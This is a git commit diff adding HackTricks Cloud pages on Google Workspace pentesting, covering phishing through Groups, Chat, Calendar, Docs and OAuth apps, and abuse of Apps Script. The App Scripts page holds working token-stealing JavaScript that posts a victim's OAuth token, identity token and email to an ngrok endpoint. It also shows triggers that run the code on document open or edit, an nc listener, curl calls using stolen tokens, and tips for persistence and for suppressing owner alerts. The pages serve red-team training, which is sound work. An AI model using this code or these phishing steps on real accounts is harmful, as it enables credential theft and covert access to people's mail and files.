mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
Recreating repository history for branch master
This commit is contained in:
99
pentesting-cloud/workspace-security/README.md
Normal file
99
pentesting-cloud/workspace-security/README.md
Normal file
@@ -0,0 +1,99 @@
|
||||
# GWS - Workspace Pentesting
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Entry Points
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
|
||||
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
|
||||
|
||||
{% content-ref url="gws-google-platforms-phishing/" %}
|
||||
[gws-google-platforms-phishing](gws-google-platforms-phishing/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Password Spraying
|
||||
|
||||
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
|
||||
|
||||
{% content-ref url="gws-post-exploitation.md" %}
|
||||
[gws-post-exploitation.md](gws-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
|
||||
Read more about the different techniques to pivot between GWS and GCP in:
|
||||
|
||||
{% content-ref url="../gcp-security/gcp-to-workspace-pivoting/" %}
|
||||
[gcp-to-workspace-pivoting](../gcp-security/gcp-to-workspace-pivoting/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
|
||||
* **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
|
||||
* **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
* **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{% content-ref url="gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/" %}
|
||||
[gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid](gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Persistence
|
||||
|
||||
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
|
||||
|
||||
{% content-ref url="gws-persistence.md" %}
|
||||
[gws-persistence.md](gws-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Account Compromised Recovery
|
||||
|
||||
* Log out of all sessions
|
||||
* Change user password
|
||||
* Generate new 2FA backup codes
|
||||
* Remove App passwords
|
||||
* Remove OAuth apps
|
||||
* Remove 2FA devices
|
||||
* Remove email forwarders
|
||||
* Remove emails filters
|
||||
* Remove recovery email/phones
|
||||
* Removed malicious synced smartphones
|
||||
* Remove bad Android Apps
|
||||
* Remove bad account delegations
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,194 @@
|
||||
# GWS - Google Platforms Phishing
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Generic Phishing Methodology
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology" %}
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
**In my testing however the invited members didn't even receive an invitation.**
|
||||
{% endhint %}
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
{% endhint %}
|
||||
|
||||
## Google Calendar Phishing
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
|
||||
* Set it up so that **receivers cannot see the other people invited**
|
||||
* Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
* Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput('<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">')
|
||||
.setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL);
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH\_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Note that a warning will appear as the content is loaded inside an iframe.
|
||||
{% endhint %}
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
|
||||
{% content-ref url="gws-app-scripts.md" %}
|
||||
[gws-app-scripts.md](gws-app-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## OAuth Apps Phishing
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
{% endhint %}
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
|
||||
### Unverified App prompt
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
|
||||
This prompt appears in apps that:
|
||||
|
||||
* Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
* Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
|
||||
### Interesting Scopes
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
|
||||
* **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
* **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
|
||||
### Create an OAuth App
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
* Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
* This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
* Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
* You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp\_oauth\_phishing\_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
|
||||
{% content-ref url="../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md" %}
|
||||
[gcp-non-svc-persistance.md](../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Using `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
|
||||
{% content-ref url="../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md" %}
|
||||
[gcp-clientauthconfig-privesc.md](../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,273 @@
|
||||
# GWS - App Scripts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
|
||||
### Create App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more\_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
|
||||
### Leak token
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
|
||||
* **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
* **Gmail**: To access gmail data
|
||||
* **Drive**: To access drive data
|
||||
* **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail();
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
|
||||
var oauthToken = ScriptApp.getOAuthToken();
|
||||
var identityToken = ScriptApp.getIdentityToken();
|
||||
|
||||
// Data json
|
||||
data = {
|
||||
"oauthToken": oauthToken,
|
||||
"identityToken": identityToken,
|
||||
"email": userEmail,
|
||||
"domain": domain
|
||||
}
|
||||
|
||||
// Send data
|
||||
makePostRequest(data);
|
||||
|
||||
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
|
||||
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = "";
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: 'givenName',
|
||||
maxResults: 100,
|
||||
pageToken: pageToken
|
||||
});
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10);
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles();
|
||||
}
|
||||
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = 'http://5.tcp.eu.ngrok.io:12027';
|
||||
|
||||
var options = {
|
||||
'method' : 'post',
|
||||
'contentType': 'application/json',
|
||||
'payload' : JSON.stringify(data)
|
||||
};
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options);
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString());
|
||||
}
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="warning" %}
|
||||
As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
{% endhint %}
|
||||
|
||||
### Create Trigger
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
|
||||
### Sharing
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
|
||||
{% hint style="success" %}
|
||||
The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
{% endhint %}
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
|
||||
{% hint style="danger" %}
|
||||
If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
|
||||
A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
{% endhint %}
|
||||
|
||||
### Copying instead of sharing
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
|
||||
### Sharing as Web Application
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
|
||||
## App Script as Persistence
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
This will create a security alert email and a push message to your mobile alerting about this.
|
||||
{% endhint %}
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
|
||||
This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
210
pentesting-cloud/workspace-security/gws-persistence.md
